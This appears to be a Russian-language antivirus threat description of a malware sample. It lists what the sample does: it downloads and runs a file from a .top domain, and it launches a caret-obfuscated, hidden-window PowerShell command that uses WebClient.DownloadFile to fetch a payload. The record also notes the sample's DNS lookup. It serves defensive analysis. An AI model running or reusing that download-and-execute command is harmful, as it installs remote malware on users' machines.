Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zonexxopera.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWE^rsH^el^L^.E^X^e^ -E^xEcu^Ti^ONp^O^liCy bYP^As^S^ ^-Noprof^i^LE ^-w^InDoWSt^yle h^I^Dde^N (n^e^W-OBjecT^ ^SySteM.NE^T^.^We^b^CLieNt^).dowN^L^oaDfil^e('http://zonexxopera.to...
Сетевая активность
UDP
- DNS ASK zo###xopera.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWE^rsH^el^L^.E^X^e^ -E^xEcu^Ti^ONp^O^liCy bYP^As^S^ ^-Noprof^i^LE ^-w^InDoWSt^yle h^I^Dde^N (n^e^W-OBjecT^ ^SySteM.NE^T^.^We^b^CLieNt^).dowN^L^oaDfil^e('http://zonexxopera.to...' (со скрытым окном)
